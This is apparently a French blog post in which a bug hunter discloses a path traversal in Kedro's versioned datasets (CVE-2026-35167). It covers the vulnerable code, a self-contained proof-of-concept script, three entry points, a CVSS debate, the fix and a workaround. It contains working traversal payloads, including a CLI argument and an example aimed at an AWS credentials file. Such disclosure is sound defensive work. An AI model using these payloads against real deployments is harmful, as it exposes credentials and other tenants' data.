CVE-2026-35167 : Path Traversal dans Kedro
Une string de version, du ../ qui passe, et un argument qui se prend pour un chemin.
TL;DR : Kedro < 1.3.0 colle la version d'un dataset directement dans un chemin de fichier, sans rien filtrer. version="../../../secrets" te fait sortir du répertoire prévu et lire un autre fichier sur le disque. Atteignable depuis l'API Python, la config YAML, et la CLI.
Petit aparté avant de commencer : c'est ma première CVE.
D'habitude je fais du web sur YesWeHack, mais j'avais envie de changer de paysage. Direction HuntR,la plateforme bug bounty pour de l'OSS, accessoirement pour voir si j'étais capable de décrocher une CVE. Parce qu'une CVE c'est classe : ça ramène des jets privés, du champagne, et des fans qui te demandent des selfies.
Spoiler : pas de jet privé, pas de champagne, pas de selfie. Mais une CVE quand même, donc on va dire que c'est un succès partiel.
Je vais pas faire le mec qui a tout vu non plus. Mais c'est un bug rigolo à expliquer : la vuln tient dans une ligne de code, et la même ligne casse trois entry points d'un coup.
On y va.
C'est quoi Kedro
Kedro, c'est un framework Python pour faire des pipelines data. Hébergé par la LF AI & Data Foundation, créé à l'origine par QuantumBlack (filiale McKinsey), ~11k stars sur GitHub. Si tu fais du data engineering en Python, t'es probablement déjà tombé dessus.
Un truc spécifique à Kedro : les datasets versionnés. Tu marques un dataset comme versioned: true et chaque sauvegarde crée un sous-dossier horodaté :
data/01_raw/users.csv/
├── 2024-01-15T10.00.00.000Z/
│ └── users.csv
└── 2024-02-01T08.30.00.000Z/
└── users.csvPour charger une version, tu lui donnes la string de la version :
catalog.load("users", version="2024-01-15T10.00.00.000Z")Retiens cette string. C'est elle qui pose problème.
L'image simple
Imagine un distributeur de billets qui te demande ton numéro de compte, sort le pognon (voix de Mr Krabs), point.
Maintenant imagine que tu peux taper, à la place de ton numéro, "mon compte/../compte de la dame qui était devant moi". Le DAB suivrait. Il irait sur ton compte, reculerait d'un cran dans sa base, sélectionnerait le compte de Jocelyne, et te filerait l'argent.
C'est ça, le bug. Chaque ../ dans la string version, c'est un curseur qui recule d'un dossier dans l'arborescence du disque. PurePosixPath assemble la route littéralement, et l'OS la suit jusqu'au bout.
La vuln en une fonction
Le code coupable, dans kedro/io/core.py :
def _get_versioned_path(self, version: str) -> PurePosixPath:
return self._filepath / version / self._filepath.nameDeux /, et la string version se retrouve concaténée dans le chemin sans aucun filtrage.
Le / ici, c'est l'operator de division de PurePosixPath. C'est joli, c'est moderne, c'est pythonique. Mais c'est pas une sandbox. Il concatène les morceaux de chemin et garde les .. dedans, parce qu'il est conçu pour manipuler des chemins, pas pour les sécuriser.
Si tu lui passes version="../../../secrets", il te répond gentiment :
data/01_raw/users.csv/../../../secrets/users.csvEt quand l'OS résout ce chemin, les .. font reculer dans l'arborescence et tu atterris à secrets/users.csv.
Le seul garde-fou résiduel, c'est que le nom de fichier final reste self._filepath.name. Donc tu peux pas lire n'importe quoi : il faut qu'un fichier portant le même nom existe ailleurs. En théorie c'est limitant. En pratique, sur du shared storage ou du multi-tenant, des users.csv ou des config.yaml y'en a partout.

Le PoC
Le script est self-contained et tourne sur Kedro 1.2.0 stock. Il crée un dataset versionné légitime et un fichier "secret" hors-scope, puis charge les deux via Kedro.
"""
PoC — CVE-2026-35167
Path traversal via unsanitized version string in Kedro versioned datasets.
Testé sur Kedro 1.2.0.
"""
import shutil
import tempfile
from pathlib import Path
from kedro.io import DataCatalog
def main():
# === Setup d'un projet temporaire ===
project = Path(tempfile.mkdtemp(prefix="kedro_poc_"))
# Dataset versionné légitime : data/01_raw/users.csv/<version>/users.csv
legit_version = "2024-01-15T10.00.00.000Z"
legit_dir = project / "data" / "01_raw" / "users.csv" / legit_version
legit_dir.mkdir(parents=True)
(legit_dir / "users.csv").write_text(
"id,name,email\n"
"1,Alice,alice@company.com\n"
"2,Bob,bob@company.com\n"
)
# Fichier "secret" complètement hors du répertoire du dataset
secrets_dir = project / "secrets"
secrets_dir.mkdir()
(secrets_dir / "users.csv").write_text(
"id,name,email\n"
"999,admin,admin@corp.internal\n"
"1000,root,root@corp.internal\n"
)
# Config Kedro standard avec dataset versionné
catalog_config = {
"users": {
"type": "pandas.CSVDataset",
"filepath": str(project / "data" / "01_raw" / "users.csv"),
"versioned": True,
}
}
# === 1. Chargement légitime (baseline) ===
print("=== Chargement légitime ===")
catalog = DataCatalog.from_config(catalog_config)
df = catalog.load("users", version=legit_version)
print(df.to_string(index=False))
# === 2. Traversal via l'API Python ===
# (nouveau catalog car Kedro cache la version résolue après le premier load)
print("\n=== Traversal via catalog.load(version=...) ===")
catalog = DataCatalog.from_config(catalog_config)
df = catalog.load("users", version="../../../secrets")
print(df.to_string(index=False))
# === 3. Traversal via la config load_versions ===
print("\n=== Traversal via load_versions={...} ===")
catalog = DataCatalog.from_config(
catalog_config,
load_versions={"users": "../../../secrets"},
)
df = catalog.load("users")
print(df.to_string(index=False))
# Cleanup
shutil.rmtree(project, ignore_errors=True)
if __name__ == "__main__":
main()Output observé :
=== Chargement légitime ===
id name email
1 Alice alice@company.com
2 Bob bob@company.com
=== Traversal via catalog.load(version=...) ===
id name email
999 admin admin@corp.internal
1000 root root@corp.internal
=== Traversal via load_versions={...} ===
id name email
999 admin admin@corp.internal
1000 root root@corp.internalLes deux derniers blocs chargent le contenu de secrets/users.csv au lieu du dataset versionné. Même config, même nom de dataset, même appel load() - seule la string version change, et le pipeline lit un fichier complètement hors-scope. La troisième porte d'entrée (la CLI) déclenche le même bug autrement, on la traite juste après.
Les trois portes d'entrée
C'est ce qui rend la vuln intéressante : la fonction vulnérable est au cœur du mécanisme de versioning, donc toutes les façons de passer une version à Kedro sont impactées.
Le PoC qu'on a vu au-dessus montre déjà les vecteurs API Python (catalog.load(version=...)) et config (load_versions={...}).
Le troisième, c'est la CLI :
kedro run --load-versions="users:../../../secrets"Le parser CLI vérifie qu'il y a bien dataset:version, mais le contenu de la version, il s'en tape :
def _split_load_versions(ctx, param, value):
load_version_list = load_version.split(":", 1)
load_versions_dict[load_version_list[0]] = load_version_list[1]Et la string descend telle quelle jusqu'au I/O. Pas de filtre, pas de check, rien.
Trois entry points, un seul bug. C'est ce qui fait qu'on peut pas juste valider à un endroit. Si tu valides la CLI, le YAML court-circuite. Si tu valides le YAML, l'API Python passe quand même. Le vrai fix doit centraliser la validation dans la fonction qui touche au filesystem (et la rejouer plus tôt aux endroits opportuns, type CLI).
L'impact réel
Lire un fichier dont tu connais le nom hors du répertoire prévu, sur le papier ça sonne moyen. C'est ce que le vendor a pensé en lui collant un score de 0.0. Sauf que dans les contextes où Kedro tourne, l'impact est plus large que ça.
Data poisoning. Kedro est un framework de pipelines. Ses datasets alimentent des modèles ML, des rapports, des dashboards. Si tu peux faire qu'un pipeline charge ton fichier au lieu du dataset attendu, tu empoisonnes les données d'entraînement, tu fausses des chiffres dans un rapport, tu injectes du contenu malveillant dans une config consommée plus loin.
Cross-tenant. Beaucoup de plateformes data hébergent plusieurs équipes sur le même stockage local partagé. La séparation est logique, pas physique. Avec un ../../../tenant_b/data/ et un filename qui matche, tu lis les datasets d'un autre client. Et vu que les conventions de nommage Kedro encouragent la standardisation, le filename matche souvent.
Lecture de secrets locaux. Le grand classique. ../../../home/user/.aws/credentials si le filename matche, etc.
Si tu testes ce pattern en bug bounty, lis le scope d'abord. Lire /etc/passwd pour la PoC c'est tentant mais c'est aussi le truc qui transforme un rapport "valid" en mail d'avocat. Reste sur des fichiers que tu sais être de la donnée de test.
Le truc bizarre : le score CVSS
Tout le monde est d'accord sur le préambule du vecteur (AV:N/AC:L/PR:L/UI:N/S:U). Le désaccord est uniquement sur l'impact :
| Source | Score | C / I / A |
|---|---|---|
Advisory repo kedro-org/kedro |
0.0 / Low | None / None / None |
| GitHub Advisory Database / CNA | 7.1 / High | High / Low / None |
| NVD / NIST | 8.1 / High | High / High / None |
Le vendor a coté Confidentialité, Intégrité et Disponibilité à None. C'est techniquement dans le process - le système GitHub permet au mainteneur de poser son propre scoring sur l'advisory du repo, qui est ensuite revu indépendamment par la CNA (GitHub) puis NVD/NIST. Mais sur les faits, un path traversal qui permet de lire un fichier hors du répertoire prévu, ça impacte la confidentialité par définition. C'est précisément pour ça que le 7.1 du CNA et le 8.1 de NIST existent : ce sont les réévaluations indépendantes qui corrigent le scoring vendor.
Selon l'outil que tu utilises côté downstream (Snyk, Dependabot, Trivy, etc.), le score qui remonte vient de GitHub/GHSA (7.1) ou de NVD/NIST (8.1). Dans les deux cas, c'est classé High. Le 0.0 du vendor reste isolé.
Quand tu rapportes une vuln, propose ton propre vecteur CVSS dans le rapport et justifie chaque métrique. Ça évite que le triage te colle un score random et ça donne au MITRE / NVD un point de départ quand ils analysent la CVE plus tard.
Le fix
PR #5442 ajoute une fonction de validation centralisée qui rejette une version si elle est vide, si elle contient un séparateur POSIX / ou Windows \, ou si elle vaut exactement . ou ...
Cette validation est appelée dans _get_versioned_path() (le bon endroit, juste avant l'I/O), et rejouée côté CLI dans _split_load_versions() pour rejeter plus tôt les valeurs dangereuses. Double check, défense en profondeur.
Le workaround pour les versions non patchées :
import re
def is_safe_version(v: str) -> bool:
if not v or v.startswith("/") or ".." in v:
return False
return bool(re.fullmatch(r"[A-Za-z0-9._\-:T]+", v))C'est plus strict que le fix officiel, je rejette toute occurrence de .., même sans séparateur autour, alors que le fix officiel ne rejette .. que comme valeur complète. Conservateur mais safe : le format Kedro standard 2024-01-15T10.00.00.000Z passe sans problème.
Timeline
2026-03-07 Rapport soumis via HuntR
2026-03-10 PR #5442 mergée dans kedro-org/kedro
2026-03-31 Kedro 1.3.0 publié avec le correctif
2026-04-01 GHSA publié sur le repo, CVE réservée
2026-04-03 Publication dans GitHub Advisory Database
2026-04-06 CVE-2026-35167 publiée, NVD publié
2026-04-14 NVD mis à jour avec le score NIST 8.1Du report au fix mergé : trois jours. Du report à la 1.3.0 : moins d'un mois. Triage rapide, fix propre, publication carrée. Bonne expérience côté hunter, et probablement un bon premier projet à viser sur HuntR si tu veux te lancer.
À retenir
PurePosixPath et pathlib.Path ne sont pas des sandboxes. L'operator / concatène des chemins, il ne les sécurise pas. Si tu construis un chemin à partir d'une valeur user, soit tu valides en amont avec une whitelist, soit tu fais un .resolve() et tu vérifies que le résultat reste sous ton root attendu.
Et côté hunter : quand tu vois un framework qui prend une string user et la balance dans un I/O, regarde toutes les entry points. La CLI peut être validée mais l'API Python derrière ne l'est peut-être pas. Une config YAML peut court-circuiter une validation côté UI. Le code "interne" et le code "exposé" sont rarement aussi séparés que les mainteneurs le pensent.
Et si tu hésites à te lancer sur HuntR ou sur de l'audit de code OSS : c'est accessible. Ma première CVE vient d'une fonction de deux lignes dans un framework à 11k stars.
Le code critique est pas forcément là où on l'imagine.
Références
- CVE-2026-35167 sur NVD
- GHSA-6326-w46w-ppjw
- PR du fix : kedro-org/kedro#5442
- CWE-22 - Improper Limitation of a Pathname
- PortSwigger - File path traversal
Première CVE en poche. Merci à l'équipe kedro-org pour le triage et le fix rapide.
Disclaimer habituel : teste uniquement sur des programmes où t'as une autorisation explicite. Sinon, c'est PMP : Police, Menottes, Prison.